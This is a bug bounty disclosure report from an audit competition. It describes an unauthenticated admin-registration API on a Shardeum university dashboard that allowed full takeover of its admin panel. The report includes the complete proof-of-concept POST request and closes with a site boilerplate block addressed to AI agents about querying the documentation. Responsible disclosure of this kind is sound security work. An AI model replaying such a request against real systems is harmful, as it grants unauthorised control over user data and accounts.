# #35452 \[W\&A-High] Admin Panel Accessed **Submitted on Sep 23rd 2024 at 09:52:08 UTC by @blocksmith0 for** [**Audit Comp | Shardeum: Ancillaries II**](https://immunefi.com/audit-competition/shardeum-ancillaries-ii-boost) * **Report ID:** #35452 * **Report Type:** Websites and Applications * **Report severity:** High * **Target:** * **Impacts:** * Taking state-modifying authenticated actions (with or without blockchain state interaction) on behalf of other users without any interaction by that user, such as: Changing registration information, Commenting, Voting, Making trades, Withdrawals, etc. ## Description ## Vulnerability Details I was able to completely takeover university admin panel on \`dash.university.shardeum.org\` this gives me full access to block unblock almost 20K users, view their data I also have full access to all courses to delete them completely also I can delete other admin accounts as well. ## Proof of Concept ## Proof of Concept The was possible because the following admin registration API endpoint was available which enabled me to register an admin account and then login to that admin account. To register an admin account do a POST request to the following HTTP request with your email and password. \`\`\` POST /api/admin/register HTTP/1.1 Host: api.university.shardeum.org Connection: close sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121" Accept: application/json, text/plain, */* sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" Origin: Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 If-None-Match: W/"b49-ha6cnPGQKUWujk1808h938ZMeIo" Content-Length: 58 Content-Type: application/json {"adminEmail":"\*\*\*","password":"teset456"}\` \`\`\` To confirm the PoC please check the admin I have registered with the email \`\*\*\*\` on \`administrators\` section Please see the screenshots for more info. --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://reports.immunefi.com/shardeum-ancillaries-ii/35452-w-and-a-high-admin-panel-accessed.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.